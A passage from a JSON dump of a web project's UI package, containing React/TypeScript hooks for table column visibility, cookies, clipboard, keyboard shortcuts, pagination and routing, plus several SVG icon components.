VisibilityState;\n      setColumnVisibility: (visibility: VisibilityState) => void;\n    }\n  | {\n      columnVisibility: Record<T, VisibilityState>;\n      setColumnVisibility: (tab: T, visibility: VisibilityState) => void;\n    } {\n  // Check if this is a multi-tab configuration\n  const isMultiTab = !isSingleTableConfig(config);\n\n  if (isMultiTab) {\n    // Multi-tab implementation\n    const multiConfig = config as MultiTableConfig<T>;\n\n    const getDefaultColumnVisibility = (tab: T) => {\n      const columns = multiConfig[tab];\n      return Object.fromEntries(\n        columns.all.map((id) => [id, columns.defaultVisible.includes(id)]),\n      );\n    };\n\n    const defaultState = Object.fromEntries(\n      Object.keys(multiConfig).map((tab) => [\n        tab,\n        getDefaultColumnVisibility(tab as T),\n      ]),\n    ) as Record<T, VisibilityState>;\n\n    const [columnVisibility, setColumnVisibilityState] = useLocalStorage<\n      Record<T, VisibilityState>\n    >(storageKey, defaultState);\n\n    return {\n      columnVisibility,\n      setColumnVisibility: (tab: T, visibility: VisibilityState) => {\n        // Ensure all columns for this tab are present in the new state\n        const allColumns = multiConfig[tab].all;\n        const currentTabState = columnVisibility[tab] || {};\n\n        // Create a new state that preserves all columns, defaulting to false for missing ones\n        const newTabState = Object.fromEntries(\n          allColumns.map((columnId) => [\n            columnId,\n            columnId in visibility\n              ? visibility[columnId]\n              : currentTabState[columnId] ?? false,\n          ]),\n        );\n\n        setColumnVisibilityState({ ...columnVisibility, [tab]: newTabState });\n      },\n    };\n  } else {\n    // Single table implementation\n    const singleConfig = config as SingleTableConfig;\n\n    const defaultState = Object.fromEntries(\n      singleConfig.all.map((id) => [\n        id,\n        singleConfig.defaultVisible.includes(id),\n      ]),\n    );\n\n    const [columnVisibility, setColumnVisibilityState] =\n      useLocalStorage<VisibilityState>(storageKey, defaultState);\n\n    return {\n      columnVisibility,\n      setColumnVisibility: (visibility: VisibilityState) => {\n        // Ensure all columns are present in the new state\n        const allColumns = singleConfig.all;\n        const currentState = columnVisibility || {};\n\n        // Create a new state that preserves all columns, defaulting to false for missing ones\n        const newState = Object.fromEntries(\n          allColumns.map((columnId) => [\n            columnId,\n            columnId in visibility\n              ? visibility[columnId]\n              : currentState[columnId] ?? false,\n          ]),\n        );\n\n        setColumnVisibilityState(newState);\n      },\n    };\n  }\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-cookies.ts",
    "content": "import Cookies from \"js-cookie\";\nimport { useEffect, useState } from \"react\";\n\nexport function useCookies<T>(\n  key: string,\n  initialValue: T,\n  opts?: Cookies.CookieAttributes,\n): [T, (value: T) => void] {\n  const [storedValue, setStoredValue] = useState<T>(() => {\n    // Retrieve from Cookies\n    const item = Cookies.get(key);\n    return item ? JSON.parse(item) : initialValue;\n  });\n\n  useEffect(() => {\n    // Update state if the cookie changes\n    const handleStorageChange = () => {\n      const item = Cookies.get(key);\n      if (item) {\n        setStoredValue(JSON.parse(item));\n      }\n    };\n\n    // Add listener for storage changes\n    window.addEventListener(\"storage\", handleStorageChange);\n\n    // Cleanup\n    return () => {\n      window.removeEventListener(\"storage\", handleStorageChange);\n    };\n  }, [key]);\n\n  const setValue = (value: T) => {\n    // Save state\n    setStoredValue(value);\n    // Save to Cookies\n    Cookies.set(key, JSON.stringify(value), opts);\n  };\n\n  return [storedValue, setValue];\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-copy-to-clipboard.tsx",
    "content": "import { useCallback, useEffect, useRef, useState } from \"react\";\n\nexport const useCopyToClipboard = (\n  timeout: number = 3000,\n): [\n  boolean,\n  (\n    value: string | ClipboardItem,\n    options?: { onSuccess?: () => void; throwOnError?: boolean },\n  ) => Promise<void>,\n] => {\n  const timer = useRef<ReturnType<typeof setTimeout> | null>(null);\n  const [copied, setCopied] = useState(false);\n\n  const clearTimer = () => {\n    if (timer.current) {\n      clearTimeout(timer.current);\n      timer.current = null;\n    }\n  };\n\n  const copyToClipboard = useCallback(\n    async (\n      value: string | ClipboardItem,\n      {\n        onSuccess,\n        throwOnError,\n      }: { onSuccess?: () => void; throwOnError?: boolean } = {},\n    ) => {\n      clearTimer();\n      try {\n        if (typeof value === \"string\") {\n          await navigator.clipboard.writeText(value);\n        } else if (value instanceof ClipboardItem) {\n          await navigator.clipboard.write([value]);\n        }\n        setCopied(true);\n        onSuccess?.();\n\n        // Ensure timeout is a non-negative finite number\n        if (Number.isFinite(timeout) && timeout >= 0) {\n          timer.current = setTimeout(() => setCopied(false), timeout);\n        }\n      } catch (error) {\n        console.error(\"Failed to copy: \", error);\n        if (throwOnError) throw error;\n      }\n    },\n    [timeout],\n  );\n\n  // Cleanup the timer when the component unmounts\n  useEffect(() => {\n    return () => clearTimer();\n  }, []);\n\n  return [copied, copyToClipboard];\n};\n"
  },
  {
    "path": "packages/ui/src/hooks/use-current-anchor.ts",
    "content": "import { useEffect, useState } from \"react\";\n\nexport function useCurrentAnchor() {\n  const [currentAnchor, setCurrentAnchor] = useState<string | null>(null);\n\n  useEffect(() => {\n    const mdxContainer: HTMLElement | null = document.querySelector(\n      \"[data-mdx-container]\",\n    );\n    if (!mdxContainer) return;\n\n    const offsetTop = mdxContainer.offsetTop - 1;\n\n    const observer = new IntersectionObserver(\n      (entries) => {\n        let currentEntry = entries[0];\n        if (!currentEntry) return;\n\n        const offsetBottom =\n          (currentEntry.rootBounds?.height || 0) * 0.3 + offsetTop;\n\n        for (let i = 1; i < entries.length; i++) {\n          const entry = entries[i];\n          if (!entry) break;\n\n          if (\n            entry.boundingClientRect.top <\n              currentEntry.boundingClientRect.top ||\n            currentEntry.boundingClientRect.bottom < offsetTop\n          ) {\n            currentEntry = entry;\n          }\n        }\n\n        let target: Element | undefined = currentEntry.target;\n\n        // if the target is too high up, we need to find the next sibling\n        while (target && target.getBoundingClientRect().bottom < offsetTop) {\n          target = siblings.get(target)?.next;\n        }\n\n        // if the target is too low, we need to find the previous sibling\n        while (target && target.getBoundingClientRect().top > offsetBottom) {\n          target = siblings.get(target)?.prev;\n        }\n        if (target) setCurrentAnchor(target.getAttribute(\"href\"));\n      },\n      {\n        threshold: 1,\n        rootMargin: `-${offsetTop}px 0px 0px 0px`,\n      },\n    );\n\n    const siblings = new Map();\n\n    const anchors = mdxContainer?.querySelectorAll(\"[data-mdx-heading]\");\n    anchors.forEach((anchor) => observer.observe(anchor));\n\n    return () => {\n      observer.disconnect();\n    };\n  }, []);\n\n  return currentAnchor?.replace(\"#\", \"\");\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-current-subdomain.ts",
    "content": "import { ADMIN_HOSTNAMES, APP_HOSTNAMES, PARTNERS_HOSTNAMES } from \"@dub/utils\";\nimport { useEffect, useState } from \"react\";\n\nexport function useCurrentSubdomain() {\n  const [subdomain, setSubdomain] = useState<\n    \"app\" | \"partners\" | \"admin\" | null\n  >(null);\n  useEffect(() => {\n    const hostname = window.location.hostname;\n    if (APP_HOSTNAMES.has(hostname)) {\n      setSubdomain(\"app\");\n    } else if (PARTNERS_HOSTNAMES.has(hostname)) {\n      setSubdomain(\"partners\");\n    } else if (ADMIN_HOSTNAMES.has(hostname)) {\n      setSubdomain(\"admin\");\n    }\n  }, []);\n\n  return { subdomain };\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-enter-submit.ts",
    "content": "import { KeyboardEvent, useCallback } from \"react\";\n\nexport function useEnterSubmit(\n  formRef?: React.RefObject<HTMLFormElement | null>,\n) {\n  const handleKeyDown = useCallback(\n    (event: KeyboardEvent<HTMLTextAreaElement>) => {\n      // Check if CMD/CTRL + Enter is pressed\n      if (event.key === \"Enter\" && event.metaKey) {\n        event.preventDefault(); // Prevent the default behavior of 'Enter' key\n\n        // Check if formRef is currently pointing to a form and if so, submit it\n        if (formRef?.current) {\n          formRef.current.requestSubmit();\n          return;\n        }\n\n        // Try determining the form from the event target\n        const form = (event.target as HTMLTextAreaElement).form;\n        form?.requestSubmit();\n      }\n    },\n    [],\n  );\n\n  return { handleKeyDown };\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-in-viewport.tsx",
    "content": "\"use client\";\n\nimport { RefObject, useEffect, useState } from \"react\";\n\nexport function useInViewport(\n  elementRef: RefObject<Element | null>,\n  options: { root?: RefObject<Element | null>; defaultValue?: boolean } = {},\n) {\n  const { root, defaultValue } = options;\n  const [visible, setVisible] = useState(defaultValue ?? false);\n\n  useEffect(() => {\n    const checkVisibility = () => {\n      const node = elementRef.current;\n      if (!node) return;\n      const rootNode = root?.current;\n\n      const rect = node.getBoundingClientRect();\n      const rootRect = rootNode\n        ? rootNode.getBoundingClientRect()\n        : {\n            top: 0,\n            left: 0,\n            bottom: window.innerHeight,\n            right: window.innerWidth,\n          };\n\n      setVisible(\n        rect.top < rootRect.bottom &&\n          rect.bottom > rootRect.top &&\n          rect.left < rootRect.right &&\n          rect.right > rootRect.left,\n      );\n    };\n\n    (root?.current || window).addEventListener(\"scroll\", checkVisibility);\n    window.addEventListener(\"resize\", checkVisibility);\n\n    let observer: IntersectionObserver | null = null;\n    if (elementRef.current) {\n      observer = new IntersectionObserver(checkVisibility);\n      observer.observe(elementRef.current);\n    }\n\n    checkVisibility();\n\n    return () => {\n      (root?.current || window).removeEventListener(\"scroll\", checkVisibility);\n      window.removeEventListener(\"resize\", checkVisibility);\n      observer?.disconnect();\n    };\n  }, [elementRef, root]);\n\n  return visible;\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-input-focused.ts",
    "content": "import { useEffect, useState } from \"react\";\n\n/**\n * Determines whether an <input> or <textarea> element is currently focused.\n */\nexport function useInputFocused() {\n  const [isInputFocused, setIsInputFocused] = useState(false);\n\n  useEffect(() => {\n    const onFocusBlur = () => {\n      const activeElement = document.activeElement;\n      setIsInputFocused(\n        activeElement?.tagName != null &&\n          [\"INPUT\", \"TEXTAREA\"].includes(activeElement.tagName),\n      );\n    };\n\n    window.addEventListener(\"focusin\", onFocusBlur);\n    window.addEventListener(\"focusout\", onFocusBlur);\n\n    return () => {\n      window.removeEventListener(\"focusin\", onFocusBlur);\n      window.removeEventListener(\"focusout\", onFocusBlur);\n    };\n  }, []);\n\n  return isInputFocused;\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-intersection-observer.ts",
    "content": "import { RefObject, useEffect, useState } from \"react\";\n\ninterface Args extends IntersectionObserverInit {\n  freezeOnceVisible?: boolean;\n}\n\nexport function useIntersectionObserver(\n  elementRef: RefObject<Element | null>,\n  {\n    threshold = 0,\n    root = null,\n    rootMargin = \"0%\",\n    freezeOnceVisible = false,\n  }: Args = {},\n): IntersectionObserverEntry | undefined {\n  const [entry, setEntry] = useState<IntersectionObserverEntry>();\n\n  const frozen = entry?.isIntersecting && freezeOnceVisible;\n\n  const updateEntry = ([entry]: IntersectionObserverEntry[]): void => {\n    setEntry(entry);\n  };\n\n  useEffect(() => {\n    const node = elementRef?.current; // DOM Ref\n    const hasIOSupport = !!window.IntersectionObserver;\n\n    if (!hasIOSupport || frozen || !node) return;\n\n    const observerParams = { threshold, root, rootMargin };\n    const observer = new IntersectionObserver(updateEntry, observerParams);\n\n    observer.observe(node);\n\n    return () => observer.disconnect();\n\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [elementRef, JSON.stringify(threshold), root, rootMargin, frozen]);\n\n  return entry;\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-keyboard-shortcut.tsx",
    "content": "import { stableSort } from \"@dub/utils\";\nimport {\n  Dispatch,\n  SetStateAction,\n  createContext,\n  useCallback,\n  useContext,\n  useEffect,\n  useId,\n  useState,\n} from \"react\";\n\ntype KeyboardShortcutListener = {\n  id: string;\n  key: string | string[];\n  enabled?: boolean;\n  priority?: number;\n  modal?: boolean;\n  sheet?: boolean;\n};\n\nexport const KeyboardShortcutContext = createContext<{\n  listeners: KeyboardShortcutListener[];\n  setListeners: Dispatch<SetStateAction<KeyboardShortcutListener[]>>;\n}>({\n  listeners: [] as KeyboardShortcutListener[],\n  setListeners: () => {},\n});\n\nexport function KeyboardShortcutProvider({\n  children,\n}: {\n  children: React.ReactNode;\n}) {\n  const [listeners, setListeners] = useState<KeyboardShortcutListener[]>([]);\n\n  return (\n    <KeyboardShortcutContext.Provider value={{ listeners, setListeners }}>\n      {children}\n    </KeyboardShortcutContext.Provider>\n  );\n}\n\nexport function useKeyboardShortcut(\n  key: KeyboardShortcutListener[\"key\"],\n  callback: (e: KeyboardEvent) => void,\n  options: Pick<\n    KeyboardShortcutListener,\n    \"enabled\" | \"priority\" | \"modal\" | \"sheet\"\n  > = {},\n) {\n  const id = useId();\n\n  const { listeners, setListeners } = useContext(KeyboardShortcutContext);\n\n  const onKeyDown = useCallback(\n    (e: KeyboardEvent) => {\n      if (options.enabled === false) return;\n\n      const target = e.target as HTMLElement;\n      const existingModalBackdrop = document.getElementById(\"modal-backdrop\");\n      const existingSheetBackdrop = document.querySelector(\n        \"[data-sheet-overlay]\",\n      );\n\n      // Ignore shortcuts if the user is typing in an input or textarea, or in a modal\n      if (\n        target.tagName === \"INPUT\" ||\n        target.tagName === \"TEXTAREA\" ||\n        target.isContentEditable ||\n        !!existingModalBackdrop !== !!options.modal ||\n        !!existingSheetBackdrop !== !!options.sheet\n      )\n        return;\n\n      const pressedKey = [\n        ...(e.metaKey ? [\"meta\"] : []),\n        ...(e.ctrlKey ? [\"ctrl\"] : []),\n        ...(e.altKey ? [\"alt\"] : []),\n        e.key,\n      ].join(\"+\");\n\n      // Ignore shortcut if it doesn't match this listener\n      if (Array.isArray(key) ? !key.includes(pressedKey) : pressedKey !== key)\n        return;\n\n      // Find enabled listeners that match the key\n      const matchingListeners = listeners.filter(\n        (l) =>\n          l.enabled !== false &&\n          !!existingModalBackdrop === !!l.modal &&\n          !!existingSheetBackdrop === !!l.sheet &&\n          (Array.isArray(l.key)\n            ? l.key.includes(pressedKey)\n            : l.key === pressedKey),\n      );\n\n      if (!matchingListeners.length) return;\n\n      // Sort the listeners by priority\n      const topListener = stableSort(\n        matchingListeners,\n        (a, b) => (b.priority ?? 0) - (a.priority ?? 0),\n      )[0];\n\n      // Check if this is the top listener\n      if (topListener.id !== id) return;\n\n      e.preventDefault();\n      callback(e);\n    },\n    [\n      key,\n      listeners,\n      id,\n      callback,\n      options.enabled,\n      options.modal,\n      options.sheet,\n    ],\n  );\n\n  useEffect(() => {\n    document.addEventListener(\"keydown\", onKeyDown);\n    return () => document.removeEventListener(\"keydown\", onKeyDown);\n  }, [onKeyDown]);\n\n  // Register/unregister the listener\n  useEffect(() => {\n    setListeners((prev) => [\n      ...prev.filter((listener) => listener.id !== id),\n      { id, key, ...options },\n    ]);\n\n    return () =>\n      setListeners((prev) => prev.filter((listener) => listener.id !== id));\n  }, [JSON.stringify(key), options.enabled, options.priority]);\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-local-storage.ts",
    "content": "import { useEffect, useState } from \"react\";\n\nfunction getItemFromLocalStorage(key: string) {\n  if (typeof window === \"undefined\") return null;\n\n  const item = window.localStorage.getItem(key);\n  if (item) return JSON.parse(item);\n\n  return null;\n}\n\nexport function useLocalStorage<T>(\n  key: string,\n  initialValue: T,\n): [T, (value: T) => void] {\n  const [storedValue, setStoredValue] = useState(\n    getItemFromLocalStorage(key) ?? initialValue,\n  );\n\n  useEffect(() => {\n    // Retrieve from localStorage\n    const item = getItemFromLocalStorage(key);\n    if (item) setStoredValue(item);\n  }, [key]);\n\n  const setValue = (value: T) => {\n    // Save state\n    setStoredValue(value);\n    // Save to localStorage\n    window.localStorage.setItem(key, JSON.stringify(value));\n  };\n\n  return [storedValue, setValue];\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-media-query.ts",
    "content": "import { useEffect, useState } from \"react\";\n\nfunction getDevice(): \"mobile\" | \"tablet\" | \"desktop\" | null {\n  if (typeof window === \"undefined\") return null;\n\n  return window.matchMedia(\"(min-width: 1024px)\").matches\n    ? \"desktop\"\n    : window.matchMedia(\"(min-width: 640px)\").matches\n      ? \"tablet\"\n      : \"mobile\";\n}\n\nfunction getDimensions() {\n  if (typeof window === \"undefined\") return null;\n\n  return { width: window.innerWidth, height: window.innerHeight };\n}\n\nexport function useMediaQuery() {\n  const [device, setDevice] = useState<\"mobile\" | \"tablet\" | \"desktop\" | null>(\n    getDevice(),\n  );\n  const [dimensions, setDimensions] = useState<{\n    width: number;\n    height: number;\n  } | null>(getDimensions());\n\n  useEffect(() => {\n    const checkDevice = () => {\n      setDevice(getDevice());\n      setDimensions(getDimensions());\n    };\n\n    // Initial detection\n    checkDevice();\n\n    // Listener for windows resize\n    window.addEventListener(\"resize\", checkDevice);\n\n    // Cleanup listener\n    return () => {\n      window.removeEventListener(\"resize\", checkDevice);\n    };\n  }, []);\n\n  return {\n    device,\n    width: dimensions?.width,\n    height: dimensions?.height,\n    isMobile: device === \"mobile\",\n    isTablet: device === \"tablet\",\n    isDesktop: device === \"desktop\",\n  };\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-optimistic-update.ts",
    "content": "import { fetcher } from \"@dub/utils\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\n\nexport function useOptimisticUpdate<T>(\n  url: string,\n  toastCopy?: { loading: string; success: string; error: string },\n) {\n  const { data, isLoading, mutate } = useSWR<T>(url, fetcher);\n\n  return {\n    data,\n    isLoading,\n    update: async (fn: (data: T) => Promise<T>, optimisticData: T) => {\n      return toast.promise(\n        mutate(fn(data as T), {\n          optimisticData,\n          rollbackOnError: true,\n          populateCache: true,\n          revalidate: true,\n        }),\n        {\n          loading: toastCopy?.loading || \"Updating...\",\n          success: toastCopy?.success || \"Successfully updated\",\n          error: toastCopy?.error || \"Failed to update\",\n        },\n      );\n    },\n  };\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-pagination.ts",
    "content": "import { DEFAULT_PAGINATION_LIMIT } from \"@dub/utils\";\nimport { useEffect, useMemo } from \"react\";\nimport { useTablePagination } from \"../table/use-table-pagination\";\nimport { useRouterStuff } from \"./use-router-stuff\";\n\nexport type PaginationState = {\n  pageIndex: number;\n  pageSize: number;\n};\n\nexport function usePagination(pageSize = DEFAULT_PAGINATION_LIMIT) {\n  const { searchParams, queryParams } = useRouterStuff();\n\n  const page = useMemo(\n    () => parseInt(searchParams.get(\"page\") || \"1\") || 1,\n    [searchParams.get(\"page\")],\n  );\n\n  const { pagination, setPagination } = useTablePagination({\n    pageSize,\n    page,\n    onPageChange: (p) => {\n      queryParams(\n        p === 1\n          ? { del: \"page\", scroll: false }\n          : {\n              set: {\n                page: p.toString(),\n              },\n              scroll: false,\n            },\n      );\n    },\n  });\n\n  // Update state when URL parameter changes\n  useEffect(() => {\n    const page = parseInt(searchParams.get(\"page\") || \"1\") || 1;\n    setPagination((p) => ({\n      ...p,\n      pageIndex: page,\n    }));\n  }, [searchParams.get(\"page\")]);\n\n  // Update URL parameter when state changes\n  useEffect(() => {\n    queryParams(\n      pagination.pageIndex === 1\n        ? { del: \"page\", scroll: false }\n        : {\n            set: {\n              page: pagination.pageIndex.toString(),\n            },\n            scroll: false,\n          },\n    );\n  }, [pagination]);\n\n  return { pagination, setPagination };\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-remove-ga-params.ts",
    "content": "import { useEffect } from \"react\";\n\nexport function useRemoveGAParams() {\n  useEffect(() => {\n    const url = new URL(window.location.href);\n    if (url.searchParams.has(\"_gl\")) {\n      // Wait for GA to process (typical GA initialization takes ~100-500ms)\n      // Adding buffer time to be safe\n      setTimeout(() => {\n        url.searchParams.delete(\"_gl\");\n        // Use replaceState instead of router.replace to avoid triggering a re-render\n        window.history.replaceState({}, \"\", url.toString());\n      }, 2000);\n    }\n  }, []);\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-resize-observer.ts",
    "content": "import { RefObject, useEffect, useState } from \"react\";\n\n/**\n * Use a ResizeObserver to react to changes in an element's size\n *\n * More about ResizeObserver: https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserver\n */\nexport function useResizeObserver(\n  elementRef: RefObject<Element | null>,\n): ResizeObserverEntry | undefined {\n  const [entry, setEntry] = useState<ResizeObserverEntry>();\n\n  const updateEntry = ([entry]: ResizeObserverEntry[]): void => {\n    setEntry(entry);\n  };\n\n  useEffect(() => {\n    const node = elementRef?.current;\n    if (!node) return;\n\n    const observer = new ResizeObserver(updateEntry);\n\n    observer.observe(node);\n\n    return () => observer.disconnect();\n  }, [elementRef]);\n\n  return entry;\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-router-stuff.ts",
    "content": "import { AppRouterInstance } from \"next/dist/shared/lib/app-router-context.shared-runtime\";\nimport {\n  ReadonlyURLSearchParams,\n  usePathname,\n  useRouter,\n  useSearchParams,\n} from \"next/navigation\";\nimport { useCallback } from \"react\";\n\nexport function useRouterStuff() {\n  const pathname = usePathname();\n  const router = useRouter();\n  const searchParams = useSearchParams();\n  const searchParamsObj = Object.fromEntries(searchParams);\n\n  const getQueryString = (\n    kv?: Record<string, any>,\n    opts?: {\n      include?: string[];\n      exclude?: string[];\n    },\n  ) => {\n    let newParams = new URLSearchParams(searchParams);\n    if (opts?.include && Array.isArray(opts.include)) {\n      const filteredParams = new URLSearchParams();\n      searchParams.forEach((value, key) => {\n        if (opts.include?.includes(key)) {\n          filteredParams.set(key, value);\n        }\n      });\n      newParams = filteredParams;\n    }\n    if (opts?.exclude && Array.isArray(opts.exclude)) {\n      opts.exclude.forEach((k) => newParams.delete(k));\n    }\n    if (kv) {\n      Object.entries(kv).forEach(([k, v]) => newParams.set(k, v));\n    }\n    const queryString = newParams.toString();\n    return queryString.length > 0 ? `?${queryString}` : \"\";\n  };\n\n  const queryParams = useCallback(\n    ({\n      set,\n      del,\n      replace,\n      scroll = true,\n      getNewPath,\n      arrayDelimiter = \",\",\n    }: {\n      set?: Record<string, string | string[]>;\n      del?: string | string[];\n      replace?: boolean;\n      scroll?: boolean;\n      getNewPath?: boolean;\n      arrayDelimiter?: string;\n    }) => {\n      const newParams = new URLSearchParams(searchParams);\n      if (set) {\n        Object.entries(set).forEach(([k, v]) =>\n          newParams.set(k, Array.isArray(v) ? v.join(arrayDelimiter) : v),\n        );\n      }\n      if (del) {\n        if (Array.isArray(del)) {\n          del.forEach((k) => newParams.delete(k));\n        } else {\n          newParams.delete(del);\n        }\n      }\n      const queryString = newParams.toString();\n      const newPath = `${pathname}${\n        queryString.length > 0 ? `?${queryString}` : \"\"\n      }`;\n      if (getNewPath) return newPath;\n      if (replace) {\n        router.replace(newPath, { scroll: false });\n      } else {\n        router.push(newPath, { scroll });\n      }\n    },\n    [searchParams, pathname, router],\n  );\n\n  return {\n    pathname: pathname as string,\n    router: router as AppRouterInstance,\n    searchParams: searchParams as ReadonlyURLSearchParams,\n    searchParamsObj,\n    queryParams,\n    getQueryString,\n  };\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-scroll-progress.ts",
    "content": "\"use client\";\n\nimport { RefObject, useCallback, useEffect, useState } from \"react\";\nimport { useResizeObserver } from \"./use-resize-observer\";\n\nexport function useScrollProgress(\n  ref: RefObject<HTMLElement | null>,\n  { direction = \"vertical\" }: { direction?: \"vertical\" | \"horizontal\" } = {},\n) {\n  const [scrollProgress, setScrollProgress] = useState(1);\n\n  const updateScrollProgress = useCallback(() => {\n    if (!ref.current) return;\n    const scroll =\n      direction === \"vertical\" ? ref.current.scrollTop : ref.current.scrollLeft;\n    const scrollSize =\n      direction === \"vertical\"\n        ? ref.current.scrollHeight\n        : ref.current.scrollWidth;\n    const clientSize =\n      direction === \"vertical\"\n        ? ref.current.clientHeight\n        : ref.current.clientWidth;\n\n    setScrollProgress(\n      scrollSize === clientSize\n        ? 1\n        : Math.min(scroll / (scrollSize - clientSize), 1),\n    );\n  }, [direction]);\n\n  const resizeObserverEntry = useResizeObserver(ref);\n\n  useEffect(updateScrollProgress, [resizeObserverEntry]);\n\n  return { scrollProgress, updateScrollProgress };\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-scroll.ts",
    "content": "import { RefObject, useCallback, useEffect, useState } from \"react\";\n\nexport function useScroll(\n  threshold: number,\n  { container }: { container?: RefObject<HTMLElement | null> } = {},\n) {\n  const [scrolled, setScrolled] = useState(false);\n\n  const onScroll = useCallback(() => {\n    setScrolled(\n      (container?.current ? container.current.scrollTop : window.scrollY) >\n        threshold,\n    );\n  }, [threshold]);\n\n  useEffect(() => {\n    const element = container?.current ?? window;\n    element.addEventListener(\"scroll\", onScroll);\n    return () => element.removeEventListener(\"scroll\", onScroll);\n  }, [onScroll]);\n\n  // also check on first load\n  useEffect(() => {\n    onScroll();\n  }, [onScroll]);\n\n  return scrolled;\n}\n"
  },
  {
    "path": "packages/ui/src/hooks/use-toast-with-undo.tsx",
    "content": "import { useEffect } from \"react\";\nimport { toast } from \"sonner\";\nimport { Success } from \"../icons/success\";\n\nfunction ToastWithUndo({\n  id,\n  message,\n  undo,\n}: {\n  id: number | string;\n  message: string;\n  undo: () => void;\n}) {\n  const undoAndDismiss = () => {\n    undo();\n    toast.dismiss(id);\n  };\n\n  const handleKeyboardEvent = (event: KeyboardEvent) => {\n    if (event.key === \"z\" && (event.ctrlKey || event.metaKey)) {\n      undoAndDismiss();\n    }\n  };\n\n  useEffect(() => {\n    document.addEventListener(\"keydown\", handleKeyboardEvent);\n    return () => document.removeEventListener(\"keydown\", handleKeyboardEvent);\n  }, []);\n\n  return (\n    <div className=\"flex w-full items-center justify-between space-x-2\">\n      <div className=\"flex items-center space-x-2\">\n        <Success />\n        <p className=\"font-medium\">{message}</p>\n      </div>\n      <button\n        className=\"whitespace-nowrap rounded border border-black bg-black px-2 py-1 text-xs font-normal text-white transition-all duration-75 active:scale-95\"\n        onClick={undoAndDismiss}\n      >\n        Undo\n      </button>\n    </div>\n  );\n}\n\nexport function useToastWithUndo() {\n  const toastWithUndo = ({\n    id,\n    message,\n    undo,\n    duration,\n  }: {\n    id: number | string;\n    message: string;\n    undo: () => void;\n    duration?: number;\n  }) => {\n    return toast(<ToastWithUndo id={id} message={message} undo={undo} />, {\n      id,\n      ...(duration && { duration }),\n    });\n  };\n\n  return toastWithUndo;\n}\n"
  },
  {
    "path": "packages/ui/src/icon-menu.tsx",
    "content": "import { ReactNode } from \"react\";\n\ninterface MenuIconProps {\n  icon: ReactNode;\n  text: string;\n}\n\nexport function IconMenu({ icon, text }: MenuIconProps) {\n  return (\n    <div className=\"flex items-center justify-start space-x-2 truncate\">\n      {icon}\n      <p className=\"truncate text-sm\">{text}</p>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/anthropic.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Anthropic({ className, ...props }: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      className={className}\n      width=\"180\"\n      height=\"180\"\n      viewBox=\"0 0 180 180\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M103.702 26.4004H130.725L180 150H152.977L103.702 26.4004ZM49.2675 26.4004H77.52L126.795 150H99.24L89.1675 124.043H37.6275L27.5475 149.993H0L49.275 26.4154L49.2675 26.4004ZM80.2575 101.093L63.3975 57.6529L46.5375 101.1H80.25L80.2575 101.093Z\"\n        fill=\"currentColor\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/arrow-up-right-2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ArrowUpRight2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      fill=\"none\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"2\"\n      viewBox=\"0 0 24 24\"\n      {...props}\n    >\n      <path d=\"M7 7h10v10M7 17 17 7\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/bing.tsx",
    "content": "export function Bing({ className }: { className?: string }) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"64\"\n      height=\"64\"\n      viewBox=\"0 0 32 32\"\n      className={className}\n    >\n      <path\n        d=\"M6.1 0l6.392 2.25v22.5l9.004-5.198-4.414-2.07-2.785-6.932 14.186 4.984v7.246L12.497 32 6.1 28.442z\"\n        fill=\"#008373\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/continents/af.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Africa(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"213\"\n      height=\"213\"\n      fill=\"none\"\n      viewBox=\"0 0 213 213\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        fill=\"#FFFFFF\"\n        d=\"M213 106.488a106.443 106.443 0 01-18.316 59.747 106.46 106.46 0 01-48.693 39.175 106.471 106.471 0 01-123.986-34.114A106.772 106.772 0 012.147 85.132l.113-.548A106.661 106.661 0 0164.898 8.452 105.59 105.59 0 0198.774.387c2.63-.29 5.162-.387 7.727-.387a106.36 106.36 0 0172.29 28.22 106.338 106.338 0 0133.871 69.816c.226 2.774.338 5.613.338 8.452z\"\n      ></path>\n      <path\n        fill=\"url(#paint0_linear_5250_15554)\"\n        d=\"M212.66 98.034l-2.145-.548c-2.242-.565-3.743-18.759-6.146-19.807-2.404-1.049-2.694-9.904-4.356-9.904-1.661 0-2.242 2.097-4.194 7.968-1.952 5.872 0 7.34 0 10.05 0 2.709-.452 7.79-2.097 